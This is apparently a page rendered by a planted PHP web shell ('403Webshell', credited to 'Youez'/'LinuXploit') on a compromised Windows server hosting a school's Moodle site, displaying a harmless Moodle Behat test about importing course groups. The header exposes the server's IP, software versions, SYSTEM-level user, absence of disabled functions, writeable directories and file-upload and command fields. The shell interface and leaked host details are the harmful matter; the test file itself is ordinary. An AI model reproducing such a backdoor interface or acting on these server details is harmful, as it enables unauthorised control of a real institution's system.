403Webshell
Server IP : 104.21.80.248  /  Your IP : 172.71.28.156
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/myschool/triamudom/tuprblearn/backup/util/ui/tests/behat/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/myschool/triamudom/tuprblearn/backup/util/ui/tests/behat/import_groups.feature
@core @core_backup
Feature: Option to include groups and groupings when importing a course to another course
  In order to import a course to another course with groups and groupings
  As a teacher
  I need an option to include groups and groupings when importing a course to another course

  Background:
    Given the following "courses" exist:
      | fullname | shortname |
      | Course 1 | C1 |
      | Course 2 | C2 |
    And the following "users" exist:
      | username | firstname | lastname | email |
      | teacher1 | Teacher | 1 | [email protected] |
    And the following "course enrolments" exist:
      | user | course | role |
      | teacher1 | C1 | editingteacher |
      | teacher1 | C2 | editingteacher |
    And the following "groups" exist:
      | name | description | course | idnumber |
      | Group 1 | Group description | C1 | GROUP1 |
      | Group 2 | Group description | C1 | GROUP2 |
    And the following "groupings" exist:
      | name | course | idnumber |
      | Grouping 1 | C1 | GROUPING1 |
      | Grouping 2 | C1 | GROUPING2 |
    And I log in as "teacher1"
    And I am on "Course 1" course homepage

  Scenario: Include groups and groupings when importing a course to another course
    Given I import "Course 1" course into "Course 2" course using this options:
      | Initial | Include groups and groupings | 1 |
    When I navigate to "Users > Groups" in current page administration
    Then I should see "Group 1"
    And I should see "Group 2"
    And I follow "Groupings"
    And I should see "Grouping 1"
    And I should see "Grouping 2"

  Scenario: Do not include groups and groupings when importing a course to another course
    Given I import "Course 1" course into "Course 2" course using this options:
      | Initial | Include groups and groupings | 0 |
    When I navigate to "Users > Groups" in current page administration
    Then I should not see "Group 1"
    And I should not see "Group 2"
    And I follow "Groupings"
    And I should not see "Grouping 1"
    And I should not see "Grouping 2"

Youez - 2016 - github.com/yon3zu
LinuXploit